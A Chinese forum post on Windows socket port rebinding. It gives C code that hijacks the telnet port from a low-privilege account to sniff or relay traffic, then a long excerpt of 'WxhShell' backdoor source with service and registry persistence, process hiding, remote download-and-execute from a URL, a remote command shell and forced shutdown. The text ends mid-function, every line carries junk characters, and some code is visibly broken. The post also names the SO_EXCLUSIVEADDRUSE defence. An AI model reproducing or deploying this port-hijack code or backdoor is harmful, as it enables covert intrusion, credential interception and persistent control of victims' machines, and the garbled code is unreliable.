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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: R;!,(l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bG]0|  
lEHx/#qt9  
  saddr.sin_family = AF_INET; yh E%X  
D&):2F^9.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Z[nHo'  
)95k3xo  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J1G}l5N  
Y!L-5|G  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 o-=|}u]mz  
|`o|;A]  
  这意味着什么?意味着可以进行如下的攻击: vclc%ws  
KA?}o^-F  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 B@(d5i{h  
I;w!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Uoe{,4T  
GNJ /|9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^.6yzlY  
\ivxi<SR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  RB %+|@c  
t"4* ]S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 WAxNQfEe  
DKj iooD  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %C/p+Tg  
|#_p0yPy  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fn,n'E]  
23tX"e  
  #include H0s*Lb  
  #include q KD  
  #include A^,E~Z!x  
  #include    A1prYD  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4J5zSTw  
  int main() f 0H.$UAL  
  { vQ}ZfP  
  WORD wVersionRequested; ?SNacN@r  
  DWORD ret; x[58C+  
  WSADATA wsaData; vi}16V84l  
  BOOL val; %4nf(|8n  
  SOCKADDR_IN saddr; `-{l$Hn9|~  
  SOCKADDR_IN scaddr; (?Mn_FNE|  
  int err; R$awo/'^  
  SOCKET s; )YAa7\Od  
  SOCKET sc; dM;\)jm  
  int caddsize; ym|7i9  
  HANDLE mt; \}Am]Y/ w  
  DWORD tid;   Z4i))%or  
  wVersionRequested = MAKEWORD( 2, 2 ); +#eol~j9N  
  err = WSAStartup( wVersionRequested, &wsaData ); ~6;I"0b5  
  if ( err != 0 ) { NVx>^5QV  
  printf("error!WSAStartup failed!\n");  BI?, 3  
  return -1; b#?sx"z  
  } )8C`EPe  
  saddr.sin_family = AF_INET; ~-k , $J?7  
   :%h1Q>F  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |yk/iO(  
nod&^%O"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); S'!&,Dxq^  
  saddr.sin_port = htons(23); 71@ eJQ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b\0>uU  
  { (e'8>Pv  
  printf("error!socket failed!\n"); "|X'qKS(H{  
  return -1; 6]iU-k0b  
  } /''=V.-N  
  val = TRUE; w8X5kk   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Sesdhuy.@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) LVg#E*J  
  { O4X03fUx  
  printf("error!setsockopt failed!\n"); F:m6Mf7L  
  return -1; 9HJYrzf{%  
  } 8vuTF*{yZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; uMDd Zj&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %w^*7Oi  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?L0;, \-t  
MJiVFfYW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) j;.P  
  { h |]cZMGo  
  ret=GetLastError();  b+a+OI D  
  printf("error!bind failed!\n"); KfjWZ4{v  
  return -1; T!]rdN!  
  } Az@@+?,%Y  
  listen(s,2); }ex4dhx2M  
  while(1) eOb--@~8  
  { ;<0vvP|  
  caddsize = sizeof(scaddr); PR"x&JG@  
  //接受连接请求 B]tj0FB`-*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); MtL<)?HQ  
  if(sc!=INVALID_SOCKET) 8$~oiK%fw  
  { 9.(|ri  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .T7CMkYt  
  if(mt==NULL) P-B5-Nz  
  { c/+6M  
  printf("Thread Creat Failed!\n"); h F+aL  
  break; ZY,$oFdsi  
  } d(|?gN^  
  } /lR*ab  
  CloseHandle(mt); vk E]$4P[$  
  } JL4E`  
  closesocket(s); JL G!;sov  
  WSACleanup(); SAq .W"ri  
  return 0; |?J57(  
  }   )&T 5 /+  
  DWORD WINAPI ClientThread(LPVOID lpParam) FNUs .d"  
  { WD\Yx~o  
  SOCKET ss = (SOCKET)lpParam; 2&*#k  
  SOCKET sc; Ml c_w19C9  
  unsigned char buf[4096]; kk`K;`[tB  
  SOCKADDR_IN saddr; G~y:ZEnN[  
  long num; B Evt{q4  
  DWORD val; Zq&'a_  
  DWORD ret;  lha;|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Fk49~z   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    d;>G  
  saddr.sin_family = AF_INET; DNZ,rL:h  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ! $mY.uu  
  saddr.sin_port = htons(23); M-].l3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N#``(a  
  { 7vo8lnQ{  
  printf("error!socket failed!\n"); Ln'y 3~@  
  return -1; ,.kJF4s&  
  } U[0x\~[$K  
  val = 100; |,bP` Z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &\>=4)HB;  
  { {MRXK nm;e  
  ret = GetLastError(); zRU9Q 2Y  
  return -1; d*YVk{s7V  
  } {+~ JTrp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  -uKTEG[  
  { Ypx5:gm|J  
  ret = GetLastError(); 0OXl`V`w  
  return -1; A"e4w?  
  } +>&i]x(b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) YdZ9##IU3  
  { #<LJns\t   
  printf("error!socket connect failed!\n"); $:?Dyu(Il  
  closesocket(sc); rp '^]Zx  
  closesocket(ss); C66 9:%  
  return -1; HNRAtRvnY  
  } |.4>#<$__  
  while(1)  Vp7d  
  { MY60%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 eRqPZb"6MR  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 J$W4AT  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 T@Bu Fr`]<  
  num = recv(ss,buf,4096,0); _Sg"|g  
  if(num>0) gSa!zQN6  
  send(sc,buf,num,0); {#.<hPXn  
  else if(num==0) i]#"@xQ  
  break; Kv9$c(~#  
  num = recv(sc,buf,4096,0); 3PjX;U|  
  if(num>0) "{S6iH)]8  
  send(ss,buf,num,0); \#h{bnx  
  else if(num==0) 1{ H=The  
  break; b'ZzDYN  
  } O$nW  
  closesocket(ss); eZ oAy[  
  closesocket(sc); )Q 5 x%  
  return 0 ; dWx@<(`OC  
  } VA>0Y  
i zYC0T9  
ken.#>w  
========================================================== SiYH@Wma  
P L7(0b%  
下边附上一个代码,,WXhSHELL QuP)j1"X  
!}5f{,.RO  
========================================================== 74 W Ky  
}rvX}   
#include "stdafx.h" =9Vo[  
hx*4xF  
#include <stdio.h> 04WxV(fo'  
#include <string.h> =r)LG,w212  
#include <windows.h>  y!dw{Lz  
#include <winsock2.h> 67;6nXG0K  
#include <winsvc.h> dVPY07P  
#include <urlmon.h> K.=5p/^a  
=van<l4b#n  
#pragma comment (lib, "Ws2_32.lib") y"Pd>61h  
#pragma comment (lib, "urlmon.lib") \11+~  
f|=u{6  
#define MAX_USER   100 // 最大客户端连接数 QE8 `nMf  
#define BUF_SOCK   200 // sock buffer m2H?VY .^K  
#define KEY_BUFF   255 // 输入 buffer g[R4/]K^$  
it-]-=mqb  
#define REBOOT     0   // 重启 F [Lg,}  
#define SHUTDOWN   1   // 关机 1 0zw}1x  
K^6d_b&  
#define DEF_PORT   5000 // 监听端口 (Hmm^MV)  
[7Q%c!e$*  
#define REG_LEN     16   // 注册表键长度 :L{*B$c  
#define SVC_LEN     80   // NT服务名长度 `T+w5ONn  
qw*) R#=  
// 从dll定义API ?yxQs=&-q~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )@p?4XsT4J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .R@s6}C`}=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aZ|?i }  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); em95ccs'-  
=W;e9 6#  
// wxhshell配置信息 ubZJUm  
struct WSCFG { bEB2q\|Je  
  int ws_port;         // 监听端口 ie11syhV"  
  char ws_passstr[REG_LEN]; // 口令 c5|sda{  
  int ws_autoins;       // 安装标记, 1=yes 0=no |g >Q3E  
  char ws_regname[REG_LEN]; // 注册表键名 )+"5($~  
  char ws_svcname[REG_LEN]; // 服务名 aM xd"cTzx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?K;l 5$?%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jU kxA7 }}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1l/t|M^I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W mbIz[un  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" '=O1n H<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8{]nS8i  
@ze2'56F}  
}; Q lA?dXQ  
@)x*62r+  
// default Wxhshell configuration ,a?oGi  
struct WSCFG wscfg={DEF_PORT, 3;FV^V'  
    "xuhuanlingzhe", Fc8 0HK5R  
    1, dF09_nw  
    "Wxhshell", J2 /19'QE  
    "Wxhshell", ]kXW eY<  
            "WxhShell Service", a'`?kBK7`U  
    "Wrsky Windows CmdShell Service", Ch3MwM5]  
    "Please Input Your Password: ", 9=j)g  
  1, L,.AY?)+7  
  "http://www.wrsky.com/wxhshell.exe", SSxz1y  
  "Wxhshell.exe" V%)Tu{L  
    }; S*>T%#F6Uo  
NM^uP+uS  
// 消息定义模块 wx[m-\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~#4FL<W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8MI8~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uO-|?{29  
char *msg_ws_ext="\n\rExit."; ,[T/O\k  
char *msg_ws_end="\n\rQuit.";  \m~p;B  
char *msg_ws_boot="\n\rReboot..."; *sZH3:  
char *msg_ws_poff="\n\rShutdown..."; 6-uLK'E  
char *msg_ws_down="\n\rSave to "; -)B_o#2=2  
gwsIzYV  
char *msg_ws_err="\n\rErr!"; PqL. ^  
char *msg_ws_ok="\n\rOK!"; jVLJ qWP'!  
Xz)qtDN|(  
char ExeFile[MAX_PATH]; j#2E Q  
int nUser = 0; u]7wd3(  
HANDLE handles[MAX_USER]; a??8)=0|}  
int OsIsNt; AC'_#nPL#  
*Ti"8^`6  
SERVICE_STATUS       serviceStatus; ]j>`BK>FE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XXhN; -p  
n-xdyJD  
// 函数声明 _'ebXrbZB  
int Install(void); #AB5}rPEI  
int Uninstall(void); oPF]]Imu  
int DownloadFile(char *sURL, SOCKET wsh); ?]D))_|G  
int Boot(int flag); utBrH  
void HideProc(void); P$0c{B4I  
int GetOsVer(void); 7)Vbp--b#  
int Wxhshell(SOCKET wsl); iF MfBg  
void TalkWithClient(void *cs); nT}Wx/aT  
int CmdShell(SOCKET sock); F81EZ/  
int StartFromService(void); i9De+3VqKK  
int StartWxhshell(LPSTR lpCmdLine); @&E IH,c  
,Pcg+^A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [FrLxU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); czU"  
@MB)B5  
// 数据结构和表定义 `Fo/RZOW  
SERVICE_TABLE_ENTRY DispatchTable[] = AoOA.t6RVo  
{ d@1^U9sf  
{wscfg.ws_svcname, NTServiceMain}, 0IdA!.|  
{NULL, NULL} H8[A*uYL  
}; oSmETk\  
jwAYlnQ^EM  
// 自我安装 ,OubKcNg  
int Install(void) <qpzs@  
{ R3U|{vgl  
  char svExeFile[MAX_PATH]; @!'}=?`  
  HKEY key; ZAU#^bEQB  
  strcpy(svExeFile,ExeFile); K0_gMi+bR  
@v ^j<B  
// 如果是win9x系统,修改注册表设为自启动 }mK,Bi?bj  
if(!OsIsNt) { ^g|cRI_"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s[y.gR.(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !&hqj$>-}  
  RegCloseKey(key);  U-4F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~CkOiWC0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !OY}`a(z  
  RegCloseKey(key); tE {M  
  return 0; e2N K7  
    } d6'G 7'9  
  } pvUV5^B(M  
} jq*`| m;Q  
else { _p%n%Oce  
pv sa?z;rP  
// 如果是NT以上系统,安装为系统服务 0"% dPKi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;aW k-  
if (schSCManager!=0) r *6S1bW  
{ [RN]?,  
  SC_HANDLE schService = CreateService 5|*`} ;/y  
  ( Gj-nT N  
  schSCManager, e%L[bGW'  
  wscfg.ws_svcname, [%^sl>,7  
  wscfg.ws_svcdisp, [SC6{ |  
  SERVICE_ALL_ACCESS, w6cl3J&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1n!:L!,`  
  SERVICE_AUTO_START, cPuXy e  
  SERVICE_ERROR_NORMAL, vVw@^7U  
  svExeFile, sAqy(oy#M  
  NULL, V0_tk"  
  NULL, oo2d,  
  NULL, `62v5d*>a  
  NULL, 4Ex&AR8  
  NULL IF0!@f  
  ); QCb%d'_w+  
  if (schService!=0) uf#h~;B  
  { h2f8-}fsq  
  CloseServiceHandle(schService); I2}eFz&FE  
  CloseServiceHandle(schSCManager); f+uyO7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +"<+JRI(M5  
  strcat(svExeFile,wscfg.ws_svcname);  *0^~@U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N;'c4=M~(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  jK]1X8  
  RegCloseKey(key); [ UI>SN  
  return 0; cI\[)5&  
    } >h;]rMD!|  
  } :tU^  
  CloseServiceHandle(schSCManager); 4k@n5JNa  
} yiC7)=  
} 0t^FM<7G  
EUuSN| a  
return 1; <JWU@A-.y  
} rY45.,qWs  
mLZ1u\ 7W  
// 自我卸载 G@`F{l  
int Uninstall(void) X\ P%C  
{ -i2rcH  
  HKEY key; b|Emu!9U  
Uc {m##!  
if(!OsIsNt) { 8R3{YJ6@T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;un@E:  
  RegDeleteValue(key,wscfg.ws_regname); z80P5^9  
  RegCloseKey(key); e !jy6 t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =b:XL#VA  
  RegDeleteValue(key,wscfg.ws_regname); [5?Dov^j 3  
  RegCloseKey(key); MVzuE}  
  return 0; f1ANziC;i  
  } 196a~xNV  
} d'ZNp2L  
} zFExYYd   
else { Ph[MXb:*  
^%9oeT{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /Rq\Mgb  
if (schSCManager!=0) w/m@(EBK  
{ '?veMX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N:| :L:<1  
  if (schService!=0) ~h3G}EH  
  { ?<!q F:r:  
  if(DeleteService(schService)!=0) { Uw.')ZY=  
  CloseServiceHandle(schService); Z5 IWoY  
  CloseServiceHandle(schSCManager); OA3J(4!"W  
  return 0; MZ,1mR  
  } b`#YJpA  
  CloseServiceHandle(schService); T[|#DMg$F  
  } Qs,\P^n  
  CloseServiceHandle(schSCManager); BjvQ6M{Y"+  
} ~hvj3zC5xz  
} ~k?rP}>0  
.u&xo{$'dS  
return 1; (O0Ry2u k  
} |z=`Ur@)  
ct3i^,i  
// 从指定url下载文件 AuXUD9 -  
int DownloadFile(char *sURL, SOCKET wsh) z.cDbkf}  
{ H1kI+YJ@  
  HRESULT hr; c{/R?<  
char seps[]= "/"; eW(pP>@k,  
char *token; 5 qfvHQ ~M  
char *file; imYfRi=$  
char myURL[MAX_PATH]; ;b0Q%TDh  
char myFILE[MAX_PATH]; U~: H>  
k=mQG~  
strcpy(myURL,sURL); bu _ @>`S  
  token=strtok(myURL,seps); E #,"C`&*  
  while(token!=NULL) >6 o <Q  
  { %`&n ;K.c  
    file=token; p<r<Y %  
  token=strtok(NULL,seps); Dz~0(  
  } )- 3~^Y#r_  
t`K9K"|k  
GetCurrentDirectory(MAX_PATH,myFILE); f1_;da  
strcat(myFILE, "\\");  pRobx  
strcat(myFILE, file); L K #A  
  send(wsh,myFILE,strlen(myFILE),0); o7!A(Eu  
send(wsh,"...",3,0); 8IlUbj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $?PI>9g!  
  if(hr==S_OK) 2O=$[b3  
return 0; jV sH  
else ]AY 4bm  
return 1; Ww-x+U\l  
..8t1+S6]  
} k2D*`\ D  
tw$EwNI[  
// 系统电源模块 J=3{<Xl  
int Boot(int flag) 4P3RRS  
{ _s^tL2Pc  
  HANDLE hToken; h.vy SwF"j  
  TOKEN_PRIVILEGES tkp; uy<3B>3~.  
utZI'5i  
  if(OsIsNt) { MT>sRx #  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Mgw#4LU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1 7~Pc  
    tkp.PrivilegeCount = 1; ,zoHmV1Wd+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }+KM"+@$<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u;q Q/Ftb  
if(flag==REBOOT) { B46:LQ9[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n>v1<^  
  return 0; *LB-V%{|'  
} bPOPoq1#  
else { e#;43=/Ia  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "rn  
  return 0; Z3TCi7,m  
} {A0F/#M]  
  } 6)^*DJy  
  else { \XB,)XDB  
if(flag==REBOOT) { swj\X ,{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yf:0u_&]  
  return 0; u;t<rEC2  
} eQ[akVMk  
else { lu{ *]!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j-1V,V=  
  return 0; ~%*l>GkP*  
} U%@PY9#  
} "QOQ  
g4WmUV#wp  
return 1; D=a*Xu2zq  
} l\{Qnb(  
*,X)tZ6VX  
// win9x进程隐藏模块 }SSg>.48w  
void HideProc(void) ~},H+A!?  
{ 7-B|B{]  
r B+ (  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Hj >fg2/  
  if ( hKernel != NULL ) %h ;oi/pe  
  { ^N<aHFF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oi0O4J%H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n8EKTuy  
    FreeLibrary(hKernel); Ja3#W K  
  } {Ycgq%1>]  
9mD dX  
return; -I5]#%eX^  
} 9\!&c<i=  
,.P]5 lE  
// 获取操作系统版本 ?/&X _O  
int GetOsVer(void) 8 siP  
{ [ 6VM4l"  
  OSVERSIONINFO winfo; )2).kL>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <o()14  
  GetVersionEx(&winfo); X{#^O/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q,fp DNo  
  return 1; h:pgN,W}  
  else PNAvT$0LaZ  
  return 0; rmw}Ui"  
} 2Di~}*9&  
bsu?Q'q  
// 客户端句柄模块 eFs5 l  
int Wxhshell(SOCKET wsl) |5;,]lbt  
{ s>G6/TTH6  
  SOCKET wsh; 65zwi-  
  struct sockaddr_in client; qE2<vjRg  
  DWORD myID; &k)+]r  
3)VO{Cj!  
  while(nUser<MAX_USER) -aJ(-Np$f  
{ 49E| f ^q  
  int nSize=sizeof(client); {@KLN<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ruagJS)+  
  if(wsh==INVALID_SOCKET) return 1; kVtP~  
*P *.'XM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :c]y/lQmV  
if(handles[nUser]==0) g[i;>XyP  
  closesocket(wsh); TQeIAy  
else ;VCV%=W<  
  nUser++; MMa`}wSs  
  } E*)A!2rlK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _\4r~=`HQ  
_~Od G  
  return 0; aEdMZ+P.  
} MkVv5C  
^'Lp<YJs6  
// 关闭 socket 6 p;Pf9 f  
void CloseIt(SOCKET wsh) rIPg,4y*S!  
{ fQ~~%#z1  
closesocket(wsh); 5%(  
nUser--; fX9b1x  
ExitThread(0); ("A45\5  
} {!( htg;  
w:B&8I(n}w  
// 客户端请求句柄 {C`M<2W]  
void TalkWithClient(void *cs) =KR^0<2r  
{ GX19GI@k  
~C 3 Y/}  
  SOCKET wsh=(SOCKET)cs; j*8Ze!^  
  char pwd[SVC_LEN]; %zc.b  
  char cmd[KEY_BUFF]; G{.=27  
char chr[1]; 7oLlRU  
int i,j; <2j$P Y9  
5Qg*j/z?  
  while (nUser < MAX_USER) { n S$4[!0  
TS=%iMa  
if(wscfg.ws_passstr) { zk70D_}L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :fX61S6)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DDIRJd<J  
  //ZeroMemory(pwd,KEY_BUFF); "c~``i\G   
      i=0; zhE4:g9v  
  while(i<SVC_LEN) { Fc=F2Mo?  
D3 +|Os)  
  // 设置超时 z1RHdu0;z  
  fd_set FdRead; )e[q% %ks  
  struct timeval TimeOut; X%!?\3S  
  FD_ZERO(&FdRead); ?>=vKU5  
  FD_SET(wsh,&FdRead); lKQjG+YF  
  TimeOut.tv_sec=8; +:#g6(P]  
  TimeOut.tv_usec=0; BB,-HhYT0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Mf"(P.GIS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =S^vIo)  
kdA]gpdw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z 4. |N  
  pwd=chr[0]; 8oHIXnK  
  if(chr[0]==0xd || chr[0]==0xa) { E]{0lG`l  
  pwd=0; ViOXmK"  
  break; V'.gE6we  
  } HU +271A8  
  i++; %,N-M]Jf  
    } "}uu-5]3  
T?n[1%K  
  // 如果是非法用户,关闭 socket P'5Lu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C>l (4*S  
} ]w)uo4<^J  
M(^IRI-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qsN}KgTjg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $43CNnf3N  
>&Ye(3w&  
while(1) { |%Y=]@f  
10dK%/6/O  
  ZeroMemory(cmd,KEY_BUFF); MmfshnTN  
;h~kB  
      // 自动支持客户端 telnet标准   |c]L]PU  
  j=0; BH^cR<<j  
  while(j<KEY_BUFF) { }/xdHt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k3 '5Ei  
  cmd[j]=chr[0]; ;%n(ARZ#  
  if(chr[0]==0xa || chr[0]==0xd) { $H,9GIivD  
  cmd[j]=0; [eF|2:  
  break; Y% [H:  
  } &6Wim<*  
  j++; jN+2+P%OL  
    } up3m um  
D1fUEHB}A8  
  // 下载文件 )A;jBfr  
  if(strstr(cmd,"http://")) { :OaGdL   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]_ y;Igaj  
  if(DownloadFile(cmd,wsh)) Q|Pm8{8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dI,H:g  
  else G~lnX^46"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fw#wVs)@:  
  } xNVSWi,  
  else { n<[H!4  
j1@PfKh  
    switch(cmd[0]) { FZ% WD@=  
  <dY{@Cgw=  
  // 帮助 VDy_s8Z#  
  case '?': { %+$!ctn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (n{!~'3  
    break; /P{'nI  
  } 0pe*DbYP5  
  // 安装 3t] 0  
  case 'i': { SMm$4h R  
    if(Install()) vinn|_s%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L!W5H2Mc  
    else R<>uCF0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YH[HJ#:7r  
    break; wlX K2D  
    } ` \-m qe  
  // 卸载 28,HZaXhc  
  case 'r': { 5sMyH[5zY  
    if(Uninstall()) u7u1lx>S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L: _pJP  
    else  YP}r15P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )% ?SWuS?N  
    break; u z>V  
    } 1w?DSHe  
  // 显示 wxhshell 所在路径 i ;YRE&X  
  case 'p': { t9kqX(!  
    char svExeFile[MAX_PATH]; <C7/b#4>\  
    strcpy(svExeFile,"\n\r"); m3b?f B  
      strcat(svExeFile,ExeFile); 1b"3]?  
        send(wsh,svExeFile,strlen(svExeFile),0); }l@7t&T|  
    break; rOq>jvy  
    } $-]PD`wmY  
  // 重启 fPsUIlI/A  
  case 'b': { CY.i0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v/C*?/ ~  
    if(Boot(REBOOT)) oo,3mat2C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ML_[Z_Q<z  
    else { Bdf]?s[]  
    closesocket(wsh); o,y {fv:ki  
    ExitThread(0); /\uW[mt  
    } |Q~5TL>b  
    break; u!VY6y7p  
    } ;hU~nj+{  
  // 关机 ZGWZ2>k  
  case 'd': { Q-S5("  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,HO@bCK  
